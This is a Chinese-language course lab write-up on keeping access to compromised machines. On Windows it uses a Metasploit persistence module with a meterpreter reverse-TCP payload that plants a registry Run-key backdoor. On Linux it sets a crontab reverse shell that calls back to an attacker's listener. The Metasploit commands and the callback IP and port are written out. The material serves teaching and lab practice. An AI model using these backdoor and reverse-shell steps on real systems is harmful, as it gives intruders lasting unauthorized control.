实验六--权限维持技术
实验目的
1、学会使用工具写入windows注册表后门，使用linux计划任务进行权限维持。
实验任务
1、在获取windows主机权限后，写入注册表后门进行权限维持，并检验注册表后门的效果
2、在linux系统中写入计划任务后门，并检验计划任务是否正常运行
实验步骤
windows 权限维持 注册后门
在获得shell后background退出 选择注册表后门模块
use exploit/windows/local/persistence然后选择好攻击模块设置参数，攻击机IP和端口，还有设置会话
set payload windows/x64/meterpreter/reverse_tcp //这句可以不写，因为默认攻击模块就是这个
set lhost 192.168.100.133
set lport 4455
set session 1
run
在靶机的对应目录下找到了vbs文件 目录：C:\Users\win7\AppData\Local\Temp\
win+r打开运行输入regedit回车即可打开注册表 然后在 KCU\Software\Microsoft\Windows\CurrentVersion\Run下即可看到注册表也成功写入
回到攻击机设置msf，让两个红框的内容一致，执行run之后，重启靶机，即可发现，在登录了靶机之后msf自动上线成功
use multi/handler
set lhost 192.168.100.133
set lport 4455
run
linux权限维持 计划任务反弹shell
使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本，利用脚本进行反弹
（下面是以Ubuntu18.04为例） 1.服务开启 service cron start 2.编辑计划任务 crontab -e -u 用户名 3.查看计划任务 crontab -l -u 用户名 4.删除计划任务： crontab -r -u 用户名
创建反弹shell脚本，vim shell.sh 里面的 ip和端口号要和攻击机对应
保存后还要更改文件的权限
然后添加计划任务，需要root权限 vim /etc/crontab 设置反弹shell任务每分钟执行一次 要设置好文件的绝对路径
kali使用nc启动监听，即可监听到shell
